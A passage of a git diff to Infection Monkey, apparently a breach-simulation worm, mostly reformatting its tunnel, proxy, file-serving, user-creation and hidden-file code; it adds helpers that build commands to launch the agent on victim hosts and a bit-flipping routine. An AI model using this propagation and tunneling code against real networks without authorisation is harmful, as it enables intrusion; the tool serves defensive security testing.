--- a/monkey/infection_monkey/telemetry/tunnel_telem.py
+++ b/monkey/infection_monkey/telemetry/tunnel_telem.py
@@ -2,19 +2,16 @@ from common.common_consts.telem_categories import TelemCategoryEnum
from infection_monkey.control import ControlClient
from infection_monkey.telemetry.base_telem import BaseTelem
-__author__ = "itay.mizeretz"
-
class TunnelTelem(BaseTelem):
-
def __init__(self):
"""
Default tunnel telemetry constructor
"""
super(TunnelTelem, self).__init__()
- self.proxy = ControlClient.proxies.get('https')
+ self.proxy = ControlClient.proxies.get("https")
telem_category = TelemCategoryEnum.TUNNEL
def get_data(self):
- return {'proxy': self.proxy}
+ return {"proxy": self.proxy}
diff --git a/monkey/infection_monkey/transport/base.py b/monkey/infection_monkey/transport/base.py
index a02d86708..77be3f3af 100644
--- a/monkey/infection_monkey/transport/base.py
+++ b/monkey/infection_monkey/transport/base.py
@@ -5,7 +5,7 @@ g_last_served = None
class TransportProxyBase(Thread):
- def __init__(self, local_port, dest_host=None, dest_port=None, local_host=''):
+ def __init__(self, local_port, dest_host=None, dest_port=None, local_host=""):
global g_last_served
self.local_host = local_host
diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py
index 1502e844c..182ca0611 100644
--- a/monkey/infection_monkey/transport/http.py
+++ b/monkey/infection_monkey/transport/http.py
@@ -15,8 +15,6 @@ from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT
from infection_monkey.network.tools import get_interface_to_target
from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time
-__author__ = 'hoffer'
-
LOG = getLogger(__name__)
@@ -47,7 +45,7 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
chunk = end_range - start_range
try:
self.wfile.write(f.read(chunk))
- except:
+ except Exception:
break
total += chunk
start_range += chunk
@@ -65,11 +63,11 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
f.close()
def send_head(self):
- if self.path != '/' + urllib.parse.quote(os.path.basename(self.filename)):
+ if self.path != "/" + urllib.parse.quote(os.path.basename(self.filename)):
self.send_error(500, "")
return None, 0, 0
try:
- f = monkeyfs.open(self.filename, 'rb')
+ f = monkeyfs.open(self.filename, "rb")
except IOError:
self.send_error(404, "File not found")
return None, 0, 0
@@ -78,7 +76,7 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
end_range = size
if "Range" in self.headers:
- s, e = self.headers['range'][6:].split('-', 1)
+ s, e = self.headers["range"][6:].split("-", 1)
sl = len(s)
el = len(e)
if sl > 0:
@@ -98,33 +96,38 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
self.send_response(200)
self.send_header("Content-type", "application/octet-stream")
- self.send_header("Content-Range", 'bytes ' + str(start_range) + '-' + str(end_range - 1) + '/' + str(size))
+ self.send_header(
+ "Content-Range",
+ "bytes " + str(start_range) + "-" + str(end_range - 1) + "/" + str(size),
+ )
self.send_header("Content-Length", min(end_range - start_range, size))
self.end_headers()
return f, start_range, end_range
def log_message(self, format_string, *args):
- LOG.debug("FileServHTTPRequestHandler: %s - - [%s] %s" % (self.address_string(),
- self.log_date_time_string(),
- format_string % args))
+ LOG.debug(
+ "FileServHTTPRequestHandler: %s - - [%s] %s"
+ % (self.address_string(), self.log_date_time_string(), format_string % args)
+ )
class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
timeout = 30 # timeout with clients, set to None not to make persistent connection
- proxy_via = None # pseudonym of the proxy in Via header, set to None not to modify original Via header
def do_POST(self):
try:
- content_length = int(self.headers['Content-Length'])
+ content_length = int(self.headers["Content-Length"])
post_data = self.rfile.read(content_length).decode()
LOG.info("Received bootloader's request: {}".format(post_data))
try:
dest_path = self.path
- r = requests.post(url=dest_path,
- data=post_data,
- verify=False,
- proxies=infection_monkey.control.ControlClient.proxies,
- timeout=SHORT_REQUEST_TIMEOUT)
+ r = requests.post( # noqa: DUO123
+ url=dest_path,
+ data=post_data,
+ verify=False,
+ proxies=infection_monkey.control.ControlClient.proxies,
+ timeout=SHORT_REQUEST_TIMEOUT,
+ )
self.send_response(r.status_code)
except requests.exceptions.ConnectionError as e:
LOG.error("Couldn't forward request to the island: {}".format(e))
@@ -144,18 +147,21 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
LOG.info("Received a connect request!")
# just provide a tunnel, transfer the data with no modification
req = self
- req.path = "https://%s/" % req.path.replace(':443', '')
+ req.path = "https://%s/" % req.path.replace(":443", "")
u = urlsplit(req.path)
address = (u.hostname, u.port or 443)
try:
conn = socket.create_connection(address)
except socket.error as e:
- LOG.debug("HTTPConnectProxyHandler: Got exception while trying to connect to %s: %s" % (repr(address), e))
+ LOG.debug(
+ "HTTPConnectProxyHandler: Got exception while trying to connect to %s: %s"
+ % (repr(address), e)
+ )
self.send_error(504) # 504 Gateway Timeout
return
- self.send_response(200, 'Connection Established')
- self.send_header('Connection', 'close')
+ self.send_response(200, "Connection Established")
+ self.send_header("Connection", "close")
self.end_headers()
conns = [self.connection, conn]
@@ -175,8 +181,10 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
conn.close()
def log_message(self, format_string, *args):
- LOG.debug("HTTPConnectProxyHandler: %s - [%s] %s" %
- (self.address_string(), self.log_date_time_string(), format_string % args))
+ LOG.debug(
+ "HTTPConnectProxyHandler: %s - [%s] %s"
+ % (self.address_string(), self.log_date_time_string(), format_string % args)
+ )
class HTTPServer(threading.Thread):
@@ -198,11 +206,13 @@ class HTTPServer(threading.Thread):
@staticmethod
def report_download(dest=None):
- LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
- TempHandler.T1105Telem(TempHandler.ScanStatus.USED,
- get_interface_to_target(dest[0]),
- dest[0],
- self._filename).send()
+ LOG.info("File downloaded from (%s,%s)" % (dest[0], dest[1]))
+ TempHandler.T1105Telem(
+ TempHandler.ScanStatus.USED,
+ get_interface_to_target(dest[0]),
+ dest[0],
+ self._filename,
+ ).send()
self.downloads += 1
if not self.downloads < self.max_downloads:
return True
@@ -229,6 +239,7 @@ class LockedHTTPServer(threading.Thread):
and subsequent code will be able to continue to execute. That way subsequent code will
always call already running HTTP server
"""
+
# Seconds to wait until server stops
STOP_TIMEOUT = 5
@@ -247,15 +258,18 @@ class LockedHTTPServer(threading.Thread):
class TempHandler(FileServHTTPRequestHandler):
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
+
filename = self._filename
@staticmethod
def report_download(dest=None):
- LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
- TempHandler.T1105Telem(TempHandler.ScanStatus.USED,
- get_interface_to_target(dest[0]),
- dest[0],
- self._filename).send()
+ LOG.info("File downloaded from (%s,%s)" % (dest[0], dest[1]))
+ TempHandler.T1105Telem(
+ TempHandler.ScanStatus.USED,
+ get_interface_to_target(dest[0]),
+ dest[0],
+ self._filename,
+ ).send()
self.downloads += 1
if not self.downloads < self.max_downloads:
return True
diff --git a/monkey/infection_monkey/transport/tcp.py b/monkey/infection_monkey/transport/tcp.py
index 329ef1875..60a995edc 100644
--- a/monkey/infection_monkey/transport/tcp.py
+++ b/monkey/infection_monkey/transport/tcp.py
@@ -32,13 +32,13 @@ class SocketsPipe(Thread):
other = self.dest if r is self.source else self.source
try:
data = r.recv(READ_BUFFER_SIZE)
- except:
+ except Exception:
break
if data:
try:
other.sendall(data)
update_last_serve_time()
- except:
+ except Exception:
break
self._keep_connection = True
@@ -47,7 +47,6 @@ class SocketsPipe(Thread):
class TcpProxy(TransportProxyBase):
-
def run(self):
pipes = []
l_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
@@ -71,7 +70,13 @@ class TcpProxy(TransportProxyBase):
pipe = SocketsPipe(source, dest)
pipes.append(pipe)
- LOG.debug("piping sockets %s:%s->%s:%s", address[0], address[1], self.dest_host, self.dest_port)
+ LOG.debug(
+ "piping sockets %s:%s->%s:%s",
+ address[0],
+ address[1],
+ self.dest_host,
+ self.dest_port,
+ )
pipe.start()
l_socket.close()
diff --git a/monkey/infection_monkey/tunnel.py b/monkey/infection_monkey/tunnel.py
index 6d261ce2b..2f73ad9bf 100644
--- a/monkey/infection_monkey/tunnel.py
+++ b/monkey/infection_monkey/tunnel.py
@@ -10,25 +10,25 @@ from infection_monkey.network.info import get_free_tcp_port, local_ips
from infection_monkey.network.tools import check_tcp_port, get_interface_to_target
from infection_monkey.transport.base import get_last_serve_time
-__author__ = 'hoffer'
-
LOG = logging.getLogger(__name__)
-MCAST_GROUP = '224.1.1.1'
+MCAST_GROUP = "224.1.1.1"
MCAST_PORT = 5007
BUFFER_READ = 1024
DEFAULT_TIMEOUT = 10
QUIT_TIMEOUT = 60 * 10 # 10 minutes
-def _set_multicast_socket(timeout=DEFAULT_TIMEOUT, adapter=''):
+def _set_multicast_socket(timeout=DEFAULT_TIMEOUT, adapter=""):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
sock.settimeout(timeout)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((adapter, MCAST_PORT))
- sock.setsockopt(socket.IPPROTO_IP,
- socket.IP_ADD_MEMBERSHIP,
- struct.pack("4sl", socket.inet_aton(MCAST_GROUP), socket.INADDR_ANY))
+ sock.setsockopt(
+ socket.IPPROTO_IP,
+ socket.IP_ADD_MEMBERSHIP,
+ struct.pack("4sl", socket.inet_aton(MCAST_GROUP), socket.INADDR_ANY),
+ )
return sock
@@ -60,8 +60,8 @@ def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT):
l_ips = local_ips()
if default:
- if default.find(':') != -1:
- address, port = default.split(':', 1)
+ if default.find(":") != -1:
+ address, port = default.split(":", 1)
if _check_tunnel(address, port):
return address, port
@@ -76,14 +76,14 @@ def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT):
while True:
try:
answer, address = sock.recvfrom(BUFFER_READ)
- if answer not in [b'?', b'+', b'-']:
+ if answer not in [b"?", b"+", b"-"]:
tunnels.append(answer)
except socket.timeout:
break
for tunnel in tunnels:
- if tunnel.find(':') != -1:
- address, port = tunnel.split(':', 1)
+ if tunnel.find(":") != -1:
+ address, port = tunnel.split(":", 1)
if address in l_ips:
continue
@@ -135,28 +135,34 @@ class MonkeyTunnel(Thread):
LOG.info("Machine firewalled, listen not allowed, not running tunnel.")
return
- proxy = self._proxy_class(local_port=self.local_port, dest_host=self._target_addr, dest_port=self._target_port)
- LOG.info("Running tunnel using proxy class: %s, listening on port %s, routing to: %s:%s",
- proxy.__class__.__name__,
- self.local_port,
- self._target_addr,
- self._target_port)
+ proxy = self._proxy_class(
+ local_port=self.local_port, dest_host=self._target_addr, dest_port=self._target_port
+ )
+ LOG.info(
+ "Running tunnel using proxy class: %s, listening on port %s, routing to: %s:%s",
+ proxy.__class__.__name__,
+ self.local_port,
+ self._target_addr,
+ self._target_port,
+ )
proxy.start()
while not self._stopped:
try:
search, address = self._broad_sock.recvfrom(BUFFER_READ)
- if b'?' == search:
+ if b"?" == search:
ip_match = get_interface_to_target(address[0])
if ip_match:
- answer = '%s:%d' % (ip_match, self.local_port)
- LOG.debug("Got tunnel request from %s, answering with %s", address[0], answer)
+ answer = "%s:%d" % (ip_match, self.local_port)
+ LOG.debug(
+ "Got tunnel request from %s, answering with %s", address[0], answer
+ )
self._broad_sock.sendto(answer.encode(), (address[0], MCAST_PORT))
- elif b'+' == search:
+ elif b"+" == search:
if not address[0] in self._clients:
LOG.debug("Tunnel control: Added %s to watchlist", address[0])
self._clients.append(address[0])
- elif b'-' == search:
+ elif b"-" == search:
LOG.debug("Tunnel control: Removed %s from watchlist", address[0])
self._clients = [client for client in self._clients if client != address[0]]
@@ -165,11 +171,12 @@ class MonkeyTunnel(Thread):
LOG.info("Stopping tunnel, waiting for clients: %s" % repr(self._clients))
- # wait till all of the tunnel clients has been disconnected, or no one used the tunnel in QUIT_TIMEOUT seconds
+ # wait till all of the tunnel clients has been disconnected, or no one used the tunnel in
+ # QUIT_TIMEOUT seconds
while self._clients and (time.time() - get_last_serve_time() < QUIT_TIMEOUT):
try:
search, address = self._broad_sock.recvfrom(BUFFER_READ)
- if b'-' == search:
+ if b"-" == search:
LOG.debug("Tunnel control: Removed %s from watchlist", address[0])
self._clients = [client for client in self._clients if client != address[0]]
except socket.timeout:
@@ -187,7 +194,7 @@ class MonkeyTunnel(Thread):
return
ip_match = get_interface_to_target(host.ip_addr)
- host.default_tunnel = '%s:%d' % (ip_match, self.local_port)
+ host.default_tunnel = "%s:%d" % (ip_match, self.local_port)
def stop(self):
self._stopped = True
diff --git a/monkey/infection_monkey/utils/auto_new_user.py b/monkey/infection_monkey/utils/auto_new_user.py
index bc2c9452b..767237d1f 100644
--- a/monkey/infection_monkey/utils/auto_new_user.py
+++ b/monkey/infection_monkey/utils/auto_new_user.py
@@ -8,8 +8,10 @@ class AutoNewUser(metaclass=abc.ABCMeta):
"""
RAII object to use for creating and using a new user. Use with `with`.
User will be created when the instance is instantiated.
- User will be available for use (log on for Windows, for example) at the start of the `with` scope.
- User will be removed (deactivated and deleted for Windows, for example) at the end of said `with` scope.
+ User will be available for use (log on for Windows, for example) at the start of the `with`
+ scope.
+ User will be removed (deactivated and deleted for Windows, for example) at the end of said
+ `with` scope.
Example:
# Created # Logged on
@@ -18,7 +20,7 @@ class AutoNewUser(metaclass=abc.ABCMeta):
...
# Logged off and deleted
...
- """
+ """
def __init__(self, username, password):
self.username = username
@@ -29,7 +31,7 @@ class AutoNewUser(metaclass=abc.ABCMeta):
raise NotImplementedError()
@abc.abstractmethod
- def __exit__(self, exc_type, exc_val, exc_tb):
+ def __exit__(self, _exc_type, value, traceback):
raise NotImplementedError()
@abc.abstractmethod
diff --git a/monkey/infection_monkey/utils/auto_new_user_factory.py b/monkey/infection_monkey/utils/auto_new_user_factory.py
index 898226d46..22c57c578 100644
--- a/monkey/infection_monkey/utils/auto_new_user_factory.py
+++ b/monkey/infection_monkey/utils/auto_new_user_factory.py
@@ -5,13 +5,15 @@ from infection_monkey.utils.windows.users import AutoNewWindowsUser
def create_auto_new_user(username, password, is_windows=is_windows_os()):
"""
- Factory method for creating an AutoNewUser. See AutoNewUser's documentation for more information.
+ Factory method for creating an AutoNewUser. See AutoNewUser's documentation for more
+ information.
Example usage:
with create_auto_new_user(username, PASSWORD) as new_user:
...
:param username: The username of the new user.
:param password: The password of the new user.
- :param is_windows: If True, a new Windows user is created. Otherwise, a Linux user is created. Leave blank for
+ :param is_windows: If True, a new Windows user is created. Otherwise, a Linux user is
+ created. Leave blank for
automatic detection.
:return: The new AutoNewUser object - use with a `with` scope.
"""
diff --git a/monkey/infection_monkey/utils/bit_manipulators.py b/monkey/infection_monkey/utils/bit_manipulators.py
new file mode 100644
index 000000000..8e87e6768
--- /dev/null
+++ b/monkey/infection_monkey/utils/bit_manipulators.py
@@ -0,0 +1,11 @@
+def flip_bits(data: bytes) -> bytes:
+ flipped_bits = bytearray(len(data))
+
+ for i, byte in enumerate(data):
+ flipped_bits[i] = flip_bits_in_single_byte(byte)
+
+ return bytes(flipped_bits)
+
+
+def flip_bits_in_single_byte(byte) -> int:
+ return 255 ^ byte
diff --git a/monkey/infection_monkey/utils/commands.py b/monkey/infection_monkey/utils/commands.py
new file mode 100644
index 000000000..ee2f0153a
--- /dev/null
+++ b/monkey/infection_monkey/utils/commands.py
@@ -0,0 +1,65 @@
+from infection_monkey.config import GUID
+from infection_monkey.model import CMD_CARRY_OUT, CMD_EXE, MONKEY_ARG
+from infection_monkey.model.host import VictimHost
+
+
+def build_monkey_commandline(
+ target_host: VictimHost, depth: int, vulnerable_port: str, location: str = None
+) -> str:
+
+ return " " + " ".join(
+ build_monkey_commandline_explicitly(
+ GUID,
+ target_host.default_tunnel,
+ target_host.default_server,
+ depth,
+ location,
+ vulnerable_port,
+ )
+ )
+
+
+def build_monkey_commandline_explicitly(
+ parent: str = None,
+ tunnel: str = None,
+ server: str = None,
+ depth: int = None,
+ location: str = None,
+ vulnerable_port: str = None,
+) -> list:
+ cmdline = []
+
+ if parent is not None:
+ cmdline.append("-p")
+ cmdline.append(str(parent))
+ if tunnel is not None:
+ cmdline.append("-t")
+ cmdline.append(str(tunnel))
+ if server is not None:
+ cmdline.append("-s")
+ cmdline.append(str(server))
+ if depth is not None:
+ if int(depth) < 0:
+ depth = 0
+ cmdline.append("-d")
+ cmdline.append(str(depth))
+ if location is not None:
+ cmdline.append("-l")
+ cmdline.append(str(location))
+ if vulnerable_port is not None:
+ cmdline.append("-vp")
+ cmdline.append(str(vulnerable_port))
+
+ return cmdline
+
+
+def get_monkey_commandline_windows(destination_path: str, monkey_cmd_args: list) -> list:
+ monkey_cmdline = [CMD_EXE, CMD_CARRY_OUT, destination_path, MONKEY_ARG]
+
+ return monkey_cmdline + monkey_cmd_args
+
+
+def get_monkey_commandline_linux(destination_path: str, monkey_cmd_args: list) -> list:
+ monkey_cmdline = [destination_path, MONKEY_ARG]
+
+ return monkey_cmdline + monkey_cmd_args
diff --git a/monkey/infection_monkey/utils/dir_utils.py b/monkey/infection_monkey/utils/dir_utils.py
new file mode 100644
index 000000000..704556335
--- /dev/null
+++ b/monkey/infection_monkey/utils/dir_utils.py
@@ -0,0 +1,29 @@
+from pathlib import Path
+from typing import Callable, Iterable, List, Set
+
+
+def get_all_regular_files_in_directory(dir_path: Path) -> List[Path]:
+ return filter_files(dir_path.iterdir(), [lambda f: f.is_file()])
+
+
+def filter_files(files: Iterable[Path], file_filters: List[Callable[[Path], bool]]):
+ filtered_files = files
+ for file_filter in file_filters:
+ filtered_files = [f for f in filtered_files if file_filter(f)]
+
+ return filtered_files
+
+
+def file_extension_filter(file_extensions: Set):
+ def inner_filter(f: Path):
+ return f.suffix in file_extensions
+
+ return inner_filter
+
+
+def is_not_symlink_filter(f: Path):
+ return not f.is_symlink()
+
+
+def is_not_shortcut_filter(f: Path):
+ return f.suffix != ".lnk"
diff --git a/monkey/infection_monkey/utils/environment.py b/monkey/infection_monkey/utils/environment.py
index 40a70ce58..2ead5a837 100644
--- a/monkey/infection_monkey/utils/environment.py
+++ b/monkey/infection_monkey/utils/environment.py
@@ -7,7 +7,7 @@ def is_64bit_windows_os():
"""
Checks for 64 bit Windows OS using environment variables.
"""
- return 'PROGRAMFILES(X86)' in os.environ
+ return "PROGRAMFILES(X86)" in os.environ
def is_64bit_python():
diff --git a/monkey/infection_monkey/utils/hidden_files.py b/monkey/infection_monkey/utils/hidden_files.py
index 863d1a277..92391ecc9 100644
--- a/monkey/infection_monkey/utils/hidden_files.py
+++ b/monkey/infection_monkey/utils/hidden_files.py
@@ -1,11 +1,16 @@
import subprocess
from infection_monkey.utils.environment import is_windows_os
-from infection_monkey.utils.linux.hidden_files import (get_linux_commands_to_delete, get_linux_commands_to_hide_files,
- get_linux_commands_to_hide_folders)
-from infection_monkey.utils.windows.hidden_files import (get_windows_commands_to_delete,
- get_windows_commands_to_hide_files,
- get_windows_commands_to_hide_folders)
+from infection_monkey.utils.linux.hidden_files import (
+ get_linux_commands_to_delete,
+ get_linux_commands_to_hide_files,
+ get_linux_commands_to_hide_folders,
+)
+from infection_monkey.utils.windows.hidden_files import (
+ get_windows_commands_to_delete,
+ get_windows_commands_to_hide_files,
+ get_windows_commands_to_hide_folders,
+)
def get_commands_to_hide_files():
@@ -21,6 +26,9 @@ def get_commands_to_hide_folders():
def cleanup_hidden_files(is_windows=is_windows_os()):
- subprocess.run(get_windows_commands_to_delete() if is_windows # noqa: DUO116
- else ' '.join(get_linux_commands_to_delete()),
- shell=True)
+ subprocess.run( # noqa: DUO116
+ get_windows_commands_to_delete()
+ if is_windows
+ else " ".join(get_linux_commands_to_delete()),
+ shell=True,
+ )
diff --git a/monkey/infection_monkey/utils/linux/hidden_files.py b/monkey/infection_monkey/utils/linux/hidden_files.py
index 468318cf8..62e43adf5 100644
--- a/monkey/infection_monkey/utils/linux/hidden_files.py
+++ b/monkey/infection_monkey/utils/linux/hidden_files.py
@@ -1,34 +1,28 @@
-HIDDEN_FILE = '$HOME/.monkey-hidden-file'
-HIDDEN_FOLDER = '$HOME/.monkey-hidden-folder'
+HIDDEN_FILE = "$HOME/.monkey-hidden-file"
+HIDDEN_FOLDER = "$HOME/.monkey-hidden-folder"
def get_linux_commands_to_hide_files():
return [
- 'touch', # create file
+ "touch", # create file
+ HIDDEN_FILE,
+ "&&" 'echo "Successfully created hidden file: {}" |'.format(HIDDEN_FILE), # output
+ "tee -a", # and write to file
HIDDEN_FILE,
- '&&'
- 'echo \"Successfully created hidden file: {}\" |'.format(HIDDEN_FILE), # output
- 'tee -a', # and write to file
- HIDDEN_FILE
]
def get_linux_commands_to_hide_folders():
return [
- 'mkdir', # make directory
+ "mkdir", # make directory
HIDDEN_FOLDER,
- '&& touch', # create file
- '{}/{}'.format(HIDDEN_FOLDER, 'some-file'), # random file in hidden folder
- '&& echo \"Successfully created hidden folder: {}\" |'.format(HIDDEN_FOLDER), # output
- 'tee -a', # and write to file
- '{}/{}'.format(HIDDEN_FOLDER, 'some-file') # random file in hidden folder
+ "&& touch", # create file
+ "{}/{}".format(HIDDEN_FOLDER, "some-file"), # random file in hidden folder
+ '&& echo "Successfully created hidden folder: {}" |'.format(HIDDEN_FOLDER), # output
+ "tee -a", # and write to file
+ "{}/{}".format(HIDDEN_FOLDER, "some-file"), # random file in hidden folder
]
def get_linux_commands_to_delete():
- return [
- 'rm', # remove
- '-rf', # force delete recursively
- HIDDEN_FILE,
- HIDDEN_FOLDER
- ]
+ return ["rm", "-rf", HIDDEN_FILE, HIDDEN_FOLDER] # remove # force delete recursively
diff --git a/monkey/infection_monkey/utils/linux/users.py b/monkey/infection_monkey/utils/linux/users.py
index 34becb8f7..002c63f96 100644
--- a/monkey/infection_monkey/utils/linux/users.py
+++ b/monkey/infection_monkey/utils/linux/users.py
@@ -1,6 +1,6 @@
import datetime
import logging
-import os
+import shlex
import subprocess
from infection_monkey.utils.auto_new_user import AutoNewUser
@@ -10,22 +10,21 @@ logger = logging.getLogger(__name__)
def get_linux_commands_to_add_user(username):
return [
- 'useradd', # https://linux.die.net/man/8/useradd
- '-M', # Do not create homedir
- '--expiredate', # The date on which the user account will be disabled.
- datetime.datetime.today().strftime('%Y-%m-%d'),
- '--inactive', # The number of days after a password expires until the account is permanently disabled.
- '0', # A value of 0 disables the account as soon as the password has expired
- '-c', # Comment
- 'MONKEY_USER', # Comment
- username]
+ "useradd", # https://linux.die.net/man/8/useradd
+ "-M", # Do not create homedir
+ "--expiredate", # The date on which the user account will be disabled.
+ datetime.datetime.today().strftime("%Y-%m-%d"),
+ # The number of days after a password expires until the account is permanently disabled.
+ "--inactive",
+ "0", # A value of 0 disables the account as soon as the password has expired
+ "-c", # Comment
+ "MONKEY_USER", # Comment
+ username,
+ ]
def get_linux_commands_to_delete_user(username):
- return [
- 'deluser',
- username
- ]
+ return ["deluser", username]
class AutoNewLinuxUser(AutoNewUser):
@@ -41,18 +40,26 @@ class AutoNewLinuxUser(AutoNewUser):
super(AutoNewLinuxUser, self).__init__(username, password)
commands_to_add_user = get_linux_commands_to_add_user(username)
- logger.debug("Trying to add {} with commands {}".format(self.username, str(commands_to_add_user)))
- _ = subprocess.check_output(' '.join(commands_to_add_user), stderr=subprocess.STDOUT, shell=True)
+ logger.debug(
+ "Trying to add {} with commands {}".format(self.username, str(commands_to_add_user))
+ )
+ _ = subprocess.check_output(commands_to_add_user, stderr=subprocess.STDOUT)
def __enter__(self):
return self # No initialization/logging on needed in Linux
def run_as(self, command):
- command_as_new_user = "sudo -u {username} {command}".format(username=self.username, command=command)
- return os.system(command_as_new_user)
+ command_as_new_user = shlex.split(
+ "sudo -u {username} {command}".format(username=self.username, command=command)
+ )
+ return subprocess.call(command_as_new_user)
- def __exit__(self, exc_type, exc_val, exc_tb):
+ def __exit__(self, _exc_type, value, traceback):
# delete the user.
commands_to_delete_user = get_linux_commands_to_delete_user(self.username)
- logger.debug("Trying to delete {} with commands {}".format(self.username, str(commands_to_delete_user)))
- _ = subprocess.check_output(" ".join(commands_to_delete_user), stderr=subprocess.STDOUT, shell=True)
+ logger.debug(
+ "Trying to delete {} with commands {}".format(
+ self.username, str(commands_to_delete_user)
+ )
+ )
+ _ = subprocess.check_output(commands_to_delete_user, stderr=subprocess.STDOUT)
diff --git a/monkey/infection_monkey/utils/monkey_log_path.py b/monkey/infection_monkey/utils/monkey_log_path.py
index ad80bc73d..0b97f83b9 100644
--- a/monkey/infection_monkey/utils/monkey_log_path.py
+++ b/monkey/infection_monkey/utils/monkey_log_path.py
@@ -5,10 +5,16 @@ from infection_monkey.config import WormConfiguration
def get_monkey_log_path():
- return os.path.expandvars(WormConfiguration.monkey_log_path_windows) if sys.platform == "win32" \
+ return (
+ os.path.expandvars(WormConfiguration.monkey_log_path_windows)
+ if sys.platform == "win32"
else WormConfiguration.monkey_log_path_linux
+ )
def get_dropper_log_path():
- return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \
+ return (
+ os.path.expandvars(WormConfiguration.dropper_log_path_windows)
+ if sys.platform == "win32"
else WormConfiguration.dropper_log_path_linux
+ )
diff --git a/monkey/infection_monkey/utils/plugins/plugin.py b/monkey/infection_monkey/utils/plugins/plugin.py
index 662c0e35a..f72585cd3 100644
--- a/monkey/infection_monkey/utils/plugins/plugin.py
+++ b/monkey/infection_monkey/utils/plugins/plugin.py
@@ -11,14 +11,13 @@ LOG = logging.getLogger(__name__)
def _get_candidate_files(base_package_file):
files = glob.glob(join(dirname(base_package_file), "*.py"))
- return [basename(f)[:-3] for f in files if isfile(f) and not f.endswith('__init__.py')]
+ return [basename(f)[:-3] for f in files if isfile(f) and not f.endswith("__init__.py")]
-PluginType = TypeVar('PluginType', bound='Plugin')
+PluginType = TypeVar("PluginType", bound="Plugin")
class Plugin(metaclass=ABCMeta):
-
@staticmethod
@abstractmethod
def should_run(class_name: str) -> bool:
@@ -33,15 +32,20 @@ class Plugin(metaclass=ABCMeta):
"""
objects = []
candidate_files = _get_candidate_files(cls.base_package_file())
- LOG.info("looking for classes of type {} in {}".format(cls.__name__, cls.base_package_name()))
+ LOG.info(
+ "looking for classes of type {} in {}".format(cls.__name__, cls.base_package_name())
+ )
# Go through all of files
for file in candidate_files:
# Import module from that file
- module = importlib.import_module('.' + file, cls.base_package_name())
+ module = importlib.import_module("." + file, cls.base_package_name())
# Get all classes in a module
# m[1] because return object is (name,class)
- classes = [m[1] for m in inspect.getmembers(module, inspect.isclass)
- if ((m[1].__module__ == module.__name__) and issubclass(m[1], cls))]
+ classes = [
+ m[1]
+ for m in inspect.getmembers(module, inspect.isclass)
+ if ((m[1].__module__ == module.__name__) and issubclass(m[1], cls))
+ ]
# Get object from class
for class_object in classes:
LOG.debug("Checking if should run object {}".format(class_object.__name__))
@@ -50,7 +54,11 @@ class Plugin(metaclass=ABCMeta):
objects.append(class_object)
LOG.debug("Added {} to list".format(class_object.__name__))
except Exception as e:
- LOG.warning("Exception {} when checking if {} should run".format(str(e), class_object.__name__))
+ LOG.warning(
+ "Exception {} when checking if {} should run".format(
+ str(e), class_object.__name__
+ )
+ )
return objects
@classmethod
@@ -67,7 +75,9 @@ class Plugin(metaclass=ABCMeta):
instance = class_object()
instances.append(instance)
except Exception as e:
- LOG.warning("Exception {} when initializing {}".format(str(e), class_object.__name__))
+ LOG.warning(
+ "Exception {} when initializing {}".format(str(e), class_object.__name__)
+ )
return instances
@staticmethod
diff --git a/monkey/infection_monkey/utils/plugins/pluginTests/BadImport.py b/monkey/infection_monkey/utils/plugins/pluginTests/BadImport.py
deleted file mode 100644
index ffd3ebb2d..000000000
--- a/monkey/infection_monkey/utils/plugins/pluginTests/BadImport.py
+++ /dev/null
@@ -1,5 +0,0 @@
-from infection_monkey.utils.plugins.pluginTests.PluginTestClass import TestPlugin # noqa: F401
-
-
-class SomeDummyPlugin:
- pass
diff --git a/monkey/infection_monkey/utils/plugins/pluginTests/BadInit.py b/monkey/infection_monkey/utils/plugins/pluginTests/BadInit.py
deleted file mode 100644
index 18e83c052..000000000
--- a/monkey/infection_monkey/utils/plugins/pluginTests/BadInit.py
+++ /dev/null
@@ -1,7 +0,0 @@
-from infection_monkey.utils.plugins.pluginTests.PluginTestClass import TestPlugin
-
-
-class BadPluginInit(TestPlugin):
-
- def __init__(self):
- raise Exception("TestException")
diff --git a/monkey/infection_monkey/utils/plugins/pluginTests/ComboFile.py b/monkey/infection_monkey/utils/plugins/pluginTests/ComboFile.py
deleted file mode 100644
index 2d73cd65b..000000000
--- a/monkey/infection_monkey/utils/plugins/pluginTests/ComboFile.py
+++ /dev/null
@@ -1,15 +0,0 @@
-from infection_monkey.utils.plugins.pluginTests.PluginTestClass import TestPlugin
-
-
-class NoInheritance:
- pass
-
-
-class BadInit(TestPlugin):
-
- def __init__(self):
- raise Exception("TestException")
-
-
-class ProperClass(TestPlugin):
- pass
diff --git a/monkey/infection_monkey/utils/plugins/pluginTests/PluginWorking.py b/monkey/infection_monkey/utils/plugins/pluginTests/PluginWorking.py
deleted file mode 100644
index a3fe237b6..000000000
--- a/monkey/infection_monkey/utils/plugins/pluginTests/PluginWorking.py
+++ /dev/null
@@ -1,5 +0,0 @@
-from infection_monkey.utils.plugins.pluginTests.PluginTestClass import TestPlugin
-
-
-class PluginWorking(TestPlugin):
- pass
diff --git a/monkey/infection_monkey/utils/plugins/plugin_test.py b/monkey/infection_monkey/utils/plugins/plugin_test.py
deleted file mode 100644
index c587bfed2..000000000
--- a/monkey/infection_monkey/utils/plugins/plugin_test.py
+++ /dev/null
@@ -1,36 +0,0 @@
-from unittest import TestCase
-
